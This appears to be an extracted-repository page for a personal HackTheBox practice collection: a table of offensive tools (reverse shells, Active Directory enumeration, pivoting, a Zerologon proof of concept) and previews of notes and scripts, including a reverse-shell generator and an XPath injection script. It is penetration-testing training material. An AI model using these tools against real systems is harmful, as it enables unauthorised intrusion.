| Bloodhound.py | BloodHound Written in Python. Obtain AD infromation from windows remotely | [fox-it](https://github.com/fox-it/BloodHound.py) |
| Bloodhound | Native Bloodhound which requires neo4j and uses graphs to find vulnerabilities in AD | [BloodHoundAD](https://github.com/BloodHoundAD/BloodHound) |
| Exiftool | Obtain metadata informations from an Image | [exiftool](https://github.com/exiftool/exiftool) |
| LinEnum | Post Exploitation Script which automatically looks for juicy information from the compromised machine | [rebootuser](https://github.com/rebootuser/LinEnum) |
| Apache Directory Studio | Kindof AD for linux | [apache directory studio](https://directory.apache.org/studio/downloads.html) |
| Aquatone | Pass the CHROME installation path and a list of subdomains, it will automatically look snapshot and saves every website | [michenriksen](https://github.com/michenriksen/aquatone) |
| Chisel | Ultimate Weapon for PortForwarding, Pivoting | [jpillora](https://github.com/jpillora/chisel) |
| Creddump | Obtains informations from windows registry hives | [moyix](https://github.com/moyix/creddump) |
| DirSearch | Directory Buster tool | [maurosoria](https://github.com/maurosoria/dirsearch) |
| GitTools | Analyzes and segregates the files according to the commits | [internetwache](https://github.com/internetwache/GitTools) |
| Gobuster | Directory Buster tool written in go | [OJ](https://github.com/OJ/gobuster) |
| Gopherus | Tool to generate GOPHER payload to bypass the SSRF protection | [tarunkant](https://github.com/tarunkant/Gopherus) |
| Impackets | SWISS repo for the AD and networking stuffs | [SecureAuthCorp](https://github.com/SecureAuthCorp/impacket) |
| Kerbrute | Tool to enumerate accounts with Kerberos Pre-Auth Enabled | [ropnopnop](https://github.com/ropnop/kerbrute/releases/latest)
| lxd-alpine-builder | Tool to create malicious LXC container | [saghul](https://github.com/saghul/lxd-alpine-builder) |
| php-reverse-shell | PHP Reverseshell from PentestMonkey | [pentestmonkey](https://github.com/pentestmonkey/php-reverse-shell) |
| plink | SSH service for windows in the cli | [plink](https://the.earth.li/~sgtatham/putty/latest/w32/plink.exe) |
| rustbuster | Directory Buster tool written in rust | [phra](https://github.com/phra/rustbuster) |
| socat | Network Proxy tool which is with a highlevel functionalities | [craSH](https://github.com/craSH/socat) |
| windows-binaries | Windows Binaries from kali-linux gitlab | [kali linux](https://gitlab.com/kalilinux/packages/windows-binaries/-/tree/kali/master/) |
| PEASS | Post Exploit Enumeration script for windows/Linux | [carlospolop](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) |
| zerologonPOC | POC for the AD vulnerability `CVE-2020-1472` | [risksense](https://github.com/risksense/zerologon) |
| Username-Anarchy | Create a possible username combos with permutation | [urbanadventurer](https://github.com/urbanadventurer/username-anarchy) |
gitextract_dy92f1ou/
├── LICENSE
├── README.md
├── notes/
│ ├── Active Directory.md
│ ├── Commands.md
│ ├── Docker Commands.md
│ ├── Git Commands.md
│ ├── Password Cracking.md
│ ├── Pivoting.md
│ ├── PostExploitationCommands.md
│ ├── README.md
│ ├── Regular Commands.md
│ ├── Reverse Shell.md
│ ├── Reversing.md
│ └── linux-cli-productivity.md
├── scripts/
│ ├── README.md
│ ├── hackthebox/
│ │ ├── arkham.py
│ │ ├── htb-machines.py
│ │ ├── name_grab.py
│ │ ├── nc-portscan.sh
│ │ ├── rev-shells.py
│ │ ├── snapwr3nch.py
│ │ ├── travel.py
│ │ ├── wr3nch.py
│ │ └── xpath-inj.py
│ ├── installation/
│ │ ├── docker-linux.sh
│ │ ├── docker-parrot.sh
│ │ ├── docker-standard.sh
│ │ ├── fping-install.sh
│ │ ├── pwntools-python3.sh
│ │ ├── python2-pip.sh
│ │ └── python3-pip.sh
│ └── misc/
│ ├── adapter.sh
│ ├── bashrc_custom
│ ├── fix-bg-noise-obs.sh
│ ├── pdf-protect.sh
│ ├── report-gen.md
│ └── report.sh
└── tools/
├── README.md
└── tools.md
SYMBOL INDEX (9 symbols across 4 files) FILE: scripts/hackthebox/arkham.py function main (line 13) | def main(): FILE: scripts/hackthebox/rev-shells.py function logo (line 16) | def logo(): FILE: scripts/hackthebox/snapwr3nch.py function gen (line 31) | def gen(): function logo (line 74) | def logo(): FILE: scripts/hackthebox/wr3nch.py function nmap (line 18) | def nmap(): function ports (line 27) | def ports(scanOutput): function direnumeration (line 59) | def direnumeration(): function vhost (line 76) | def vhost(): function logo (line 89) | def logo():
Condensed preview — 39 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (107K chars).
[
{
"path": "LICENSE",
"chars": 1073,
"preview": "MIT License\n\nCopyright (c) 2020 Dhanesh Sivasamy\n\nPermission is hereby granted, free of charge, to any person obtaining "
},
{
"path": "README.md",
"chars": 1365,
"preview": "# hackthebox \n\n[](https://opensource.org/licenses/MI"
},
{
"path": "notes/Active Directory.md",
"chars": 7117,
"preview": "## Active Directory \r\n### Machine workflow\r\n- [Tools](#too)\r\n- [Enumerate Ports and Shares](#enum)\r\n- [Identify valid us"
},
{
"path": "notes/Commands.md",
"chars": 5237,
"preview": "# Commands\n\n- [Port Scanning](#ps)\n- [21 - FTP Port](#ftp)\n- [53 - DNS Port](#dns)\n- [139/445 - Samba/SMB](#smb)\n- [Dire"
},
{
"path": "notes/Docker Commands.md",
"chars": 1255,
"preview": "# Docker Commands\n\n- Installation, scripts can be found [`here`](https://github.com/cyberwr3nch/hackthebox/tree/master/s"
},
{
"path": "notes/Git Commands.md",
"chars": 1441,
"preview": "# Git Commands\n\n- [Ctf / Inspection usage](#ctf)\n- [Normal / Dev usage](#dev)\n\n## CTF Usage <a name=\"ctf\"> </a>\n- Inspec"
},
{
"path": "notes/Password Cracking.md",
"chars": 625,
"preview": "### Password Cracking\r\n\r\n- hashcat \r\n- John\r\n\r\n```bash\r\n# get the mode of cracking with hashcat\r\nhashcat --example-hashe"
},
{
"path": "notes/Pivoting.md",
"chars": 3577,
"preview": "### Network Pivoting\n\n<p align=\"center\">\n<img src=\"https://miro.medium.com/max/700/1*exRPwGYJpGv6eESldShwzQ.png\"/><br />"
},
{
"path": "notes/PostExploitationCommands.md",
"chars": 6207,
"preview": "### Command Reference\r\n| Description | Unix | CMD | Powershell |\r\n| -- | -- | -- | -- |\r\n| User Logged in | whoami | ech"
},
{
"path": "notes/README.md",
"chars": 1980,
"preview": "# TableOfContents\r\n\r\n| File | Contents |\r\n| ---- | -------- |\r\n| [Active Directory](https://github.com/cyberwr3nch/hackt"
},
{
"path": "notes/Regular Commands.md",
"chars": 6706,
"preview": "### Post \\ Pre Exploitation\r\n\r\n- [ls](https://github.com/cyberwr3nch/hackthebox/blob/master/notes/commands/Regular%20Com"
},
{
"path": "notes/Reverse Shell.md",
"chars": 17900,
"preview": "# Reverse Shells\n\n### Reverse Shells\n\n- [Bash TCP](#basht)\n- [Bash UDP](#bashu)\n- [Netcat](#nc)\n- [NCat](#ncat)\n- [Telne"
},
{
"path": "notes/Reversing.md",
"chars": 3748,
"preview": "# Reversing\n\n## Debuggers\n- [IDA Hex Rays](https://www.hex-rays.com/products/ida/support/download_freeware/)\n- [Ghidra]("
},
{
"path": "notes/linux-cli-productivity.md",
"chars": 498,
"preview": "# Linux Productivity \n---\n\nTools to perform actions in the terminal\n\n## Table Of Contents\n\n- [Package Location](#pl)\n---"
},
{
"path": "scripts/README.md",
"chars": 1783,
"preview": "# Scripts\n\n- Some of the dump scripts created while playing !\n- Nvm if it isnt attaractive !!\n\n### hackthebox\n- arkham.p"
},
{
"path": "scripts/hackthebox/arkham.py",
"chars": 1291,
"preview": "#!/usr/bin/python\n\nfrom base64 import b64encode,b64decode\nfrom hashlib import sha1\nfrom pwn import *\nfrom requests impor"
},
{
"path": "scripts/hackthebox/htb-machines.py",
"chars": 1213,
"preview": "import requests\nimport json\nimport sys\nfrom pwn import *\n\nif len(sys.argv[1:]) != 1:\n\tprint(\"Usage: {} <htb-api key>\".fo"
},
{
"path": "scripts/hackthebox/name_grab.py",
"chars": 453,
"preview": "import requests\nfrom bs4 import BeautifulSoup\nfrom optparse import OptionParser as op\nimport sys\n\nURL = str(input(\"Enter"
},
{
"path": "scripts/hackthebox/nc-portscan.sh",
"chars": 244,
"preview": "#!/bin/bash\n\nif [ $# -eq 0 ]; then\n echo \"Pass the ip to scan for scan\";\n echo \"usage: nc-portscan <machine ip>\";\n ex"
},
{
"path": "scripts/hackthebox/rev-shells.py",
"chars": 3317,
"preview": "#!/usr/bin/env python3\n\nfrom pwn import *\nimport argparse\n\nparser = argparse.ArgumentParser(description=\"Quick Reverse s"
},
{
"path": "scripts/hackthebox/snapwr3nch.py",
"chars": 3373,
"preview": "'''\n##############################################################################################\n provide your htb use"
},
{
"path": "scripts/hackthebox/travel.py",
"chars": 2163,
"preview": "#!/usr/bin/env python3\nfrom urllib import parse\nfrom pwn import *\nfrom requests import *\n\n# variables\nfileN = input(str("
},
{
"path": "scripts/hackthebox/wr3nch.py",
"chars": 3907,
"preview": "#!/bin/python3\r\n\r\nimport os\r\nimport time\r\nimport sys\r\nfrom colorama import Fore, Back, Style\r\n\r\nBOLD = '\\033[1m'\r\n\r\nmach"
},
{
"path": "scripts/hackthebox/xpath-inj.py",
"chars": 1061,
"preview": "import requests\n\n#variables, add the suspicious users, in u [] list\nurl = ''\nproxy_url = ''\nw = '0123456789abcdefghijklm"
},
{
"path": "scripts/installation/docker-linux.sh",
"chars": 324,
"preview": "#!/bin/bash\n\ncurl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -\necho 'deb [arch=amd64] https:/"
},
{
"path": "scripts/installation/docker-parrot.sh",
"chars": 564,
"preview": "#!/bin/bash\n\nif [ $EUID -ne 0 ];then\n\techo \"Please Run as root\"\n\texit\nfi\n\nsudo apt-get remove docker docker-engine docke"
},
{
"path": "scripts/installation/docker-standard.sh",
"chars": 86,
"preview": "#!/bin/bash\n\ncurl -fsSL https://get.docker.com -o get-docker.sh\nsudo sh get-docker.sh\n"
},
{
"path": "scripts/installation/fping-install.sh",
"chars": 40,
"preview": "#!/bin/bash\n\nsudo apt-get install fping\n"
},
{
"path": "scripts/installation/pwntools-python3.sh",
"chars": 94,
"preview": "git clone https://github.com/arthaud/python3-pwntools; cd python3-pwntools; pip3 install -e .\n"
},
{
"path": "scripts/installation/python2-pip.sh",
"chars": 96,
"preview": "#!/bin/bash\n\ncurl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py; python get-pip.py\n"
},
{
"path": "scripts/installation/python3-pip.sh",
"chars": 46,
"preview": "#!/bin/bash\n\nsudo apt-get install python3-pip\n"
},
{
"path": "scripts/misc/adapter.sh",
"chars": 225,
"preview": "#!/bin/bash\n\ndn=`ifconfig tun0 2>/dev/null | grep -P \"10.10.*.* \" | awk '{print $2}'`\nnd=`ifconfig eth0 | grep -P \"192."
},
{
"path": "scripts/misc/bashrc_custom",
"chars": 3545,
"preview": "case $- in\n *i*) ;;\n *) return;;\nesac\n\nHISTCONTROL=ignoreboth\n\nshopt -s histappend\n\nHISTSIZE=1000\nHISTFILESIZE=2"
},
{
"path": "scripts/misc/fix-bg-noise-obs.sh",
"chars": 608,
"preview": "\n# Microphone Realtime background noise reduction script\n# author Luigi Maselli - https://grigio.org licence: AS-IS\n# cr"
},
{
"path": "scripts/misc/pdf-protect.sh",
"chars": 233,
"preview": "#!/bin/bash\n\necho Enter the directory name:\nread dir_ \ncd $dir_\necho enter the root hash\nread hash_\ndn=$(basename *.pdf)"
},
{
"path": "scripts/misc/report-gen.md",
"chars": 471,
"preview": "---\ntitle: \"<title>\"\nauthor: cyberwr3nch\ndate: \"<date>\"\nsubject: \"Hackthebox writeup\"\nkeywords: [smb, ftp]\nsubtitle: \"Wr"
},
{
"path": "scripts/misc/report.sh",
"chars": 5745,
"preview": "#!/bin/bash\n\n################################################################################################\n# start th"
},
{
"path": "tools/README.md",
"chars": 7874,
"preview": "# Tools\n\n- Tools that I use during pentest `tools.md`\n\n#### Windows and Active Directory\n| Tool | Use | Command Syntax |"
},
{
"path": "tools/tools.md",
"chars": 3065,
"preview": "# Tools for playing\n\n| Tool | Usage | Link |\n| ---- | ----- | ---- |\n| Bloodhound.py | BloodHound Written in Python. Obt"
}
]
About this extraction
This page contains the full source code of the dhaneshsivasamy07/hackthebox GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 39 files (98.2 KB), approximately 30.9k tokens, and a symbol index with 9 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.